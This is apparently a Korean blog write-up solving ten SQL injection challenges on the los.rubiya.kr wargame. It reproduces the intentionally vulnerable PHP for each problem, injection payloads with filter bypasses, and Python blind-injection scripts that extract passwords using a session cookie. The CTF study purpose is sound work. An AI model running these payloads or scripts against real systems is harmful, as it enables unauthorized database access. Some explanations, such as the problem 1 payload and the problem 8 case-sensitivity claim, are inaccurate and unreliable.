[LOS] 1-10번 문제 풀이
💡 los.rubiya.kr 1-10번 문제에 대한 풀이입니다.
1번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
풀이
인젝션 해야 하는 쿼리문은 아래의 쿼리문 입니다.
select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'
id,pw에 아무런 필터링이 걸려있지 않으므로 다음과 같이 pw를 보내면 됩니다.
pw = ` or 1#
2번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
풀이
이번 문제는 pw부분으로 인자값을 보내면, md5해시의 매개변수로 들어가서 pw부분은 인젝션을 시도하기에 적절하진 않습니다. id 부분을 이용해서 인젝션을 수행해 줍니다.
id = ' or id='admin'#
3번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
풀이
이번에 인젝션을 시도하는 쿼리문은 아래의 쿼리문 입니다.
select id from prob_goblin where id='guest' and no={$_GET[no]}
no 값은 문자열이 아니기 때문에 기본적으로 '
를 이용하지 않아도 됩니다. 현재 문제에서 no에 필터링이 걸려있는 문자는 (‘) , (“), (`) 입니다.
우선 no = 1 or 1
로 테이블 내의 모든 데이터들이 출력되도록 해줍니다.
admin이 나와야 하는데, guest 값이 테이블 내에서 admin보다 먼저 출력이 됩니다. 단순하게 order by로 admin이 먼저 출력되게 해줍니다.
no=1 or 1 order by id
4번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
풀이
4번 문제는 이전 문제들과 다른 부분은 아래에 추가된 검증 부분입니다.
$_GET[pw] = addslashes($_GET[pw]); // pw에 addslashes가 적용되어 injection 힘듬
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // db에서 admin 계정과 정확한 pw를 입력하여 pw를 가져옴
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");// db에서 나온 pw와 사용자로부터 받은 pw 값이 일치해야 함
마지막에 사용자로부터 받은 비밀번호 입력값과, DB에서 pw 결과값을 한번 더 검증 하기 때문에 이부분은 injection으로 통과할 수 없습니다. 따라서 이번 문제는 pw 값을 알아내서 직접 pw값을 입력해야 합니다.
pw 값을 알아내기 위해서 blind sql injection을 수행하며, 따로 필터링 되는 부분이 없기 때문에 다음의 코드로 쉽게 pw를 얻을 수 있습니다.
import requests
import string
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
# 자신의 쿠키 값 입력해줘야 함
cookies = {
'PHPSESSID' : 'nc39vn3k5l9dspn7mr23h9ugue'
}
params = {
'pw': None
}
# 비밀번호 길이 구하기
for i in range(9):
payload= "' or (id='admin' and length(pw)={})-- ".format(i)
params['pw'] = payload
response = requests.get(url,params=params,cookies=cookies)
if("Hello admin" in response.text):
print(params)
#
answer = ''
for i in range(1,9):
for j in string.printable:
payload = "' or (id='admin' and ascii(substr(pw,{0},1)) = {1})-- ".format(i,ord(j))
params['pw'] = payload
response = requests.get(url,params=params,cookies=cookies)
if("Hello admin" in response.text):
answer +=j
print(payload)
break
print(answer)
코드 실행결과 비밀번호인 095a9852를 알아낼 수 있습니다.
5번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
풀이
문제를 보면 1번문제와 인젝션 해야 하는 부분이 동일하지만, 이번 문제에서는 pw에 공백 필터링이 걸려있습니다. 이를 우회하여서 인젝션을 수행해 줍니다.
1번 문제에서는 인젝션 구문을 다음과 같이 작성해서 인젝션을 수행했었습니다.
pw=' or id='admin'#
5번 문제는 공백의 필터링이 있기 때문에 약간의 변형이 필요합니다.
우선 필터링을 보면 아스키코드로 0x20인 스페이스 문자만 필터링을 하고 있습니다. sql 인젝션에서는 이를 우회하기 위해서 통상 다음의 문자들을 이용해서 공백의 우회가 가능합니다.
- Tab : %09
- Line Feed : %0a
- Vertical Tab : %0b
- Form Feed : %0c
- Carriage Regurn : %0d
- 괄호 ()
따라서 다음과 같이 바꿔주면 됩니다.
pw='%09or%09id='admin'#
아니면 or 대신에 띄어쓰기가 필요없는 ||
연산자로 처리해 줘도 됩니다.
pw='||id='admin'#
6번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
풀이
5번 문제 풀이에서도 다뤘지만, or
문자열 자체를 필터링 하고 있기 때문에 연산자인 || 를 이용하여 필터링을 우회해 줍니다.
pw='||id='admin'#
7번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
풀이
blind sql injection을 이용하여 비밀번호를 얻어야 하는데, 이번에는 or , and 문자열이 필터링 되어 있습니다. 5,6번 문제와 동일하게 or,and 문자열로 필터링을 진행할 때는 동일한 연산자인 || 나 &&를 이용하면 됩니다.
다음과 같이 blind sql injection을 수행해 줍니다.
import requests
import string
cookies = {'PHPSESSID' :'nc39vn3k5l9dspn7mr23h9ugue'}
params = {'pw' : None}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
answer = ''
for i in range(1,9):
for j in string.printable:
payload = "' || (id='admin' && ascii(substr(pw,{},1))={})#".format(i,ord(j))
params['pw'] = payload
response = requests.get(url,params=params,cookies=cookies)
if("Hello admin" in response.text):
print(payload)
answer += j
break
print(answer)
비밀번호는 7b751aac입니다.
8번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>
풀이
필터링 조건은 2개 입니다.
- id에 ‘를 입력할 수 없다
- admin문자를 입력할 수 없다.
우선 sql injection을 할 때 가장 중요한 ‘가 필터링 되어 있기 때문에 다른 명령어를 이용하는 방법은 원천적으로 불가능 합니다. 하지만 이때, preg_match 함수는 문자열의 동등 비교를 할 때, 대소문자 구분을 하지 않습니다. 따라서 id=Admin을 입력하면 필터링이 우회가 됩니다.
id=Admin
9번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
풀이
8번 문제에서 살짝 변형을 했습니다. 이번에는 id 입력 값에서 소문자로 변환 후에, str_replace 함수를 통해서 admin -> 공백으로 문자열 변환을 시킵니다.
이 부분은 adadminmin과 같이 입력을 한다면 1차 필터링에서 가운데 있는 admin만 사라지게 되어서 결과가 admin이 됩니다.
id=adadminmin
10번
문제
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
풀이
이 문제는 무얼 의도한건진 잘 모르겠는데 다음과 같이 평범하게 인젝션을 해주면 풀립니다.
pw=' or id='admin'#
댓글남기기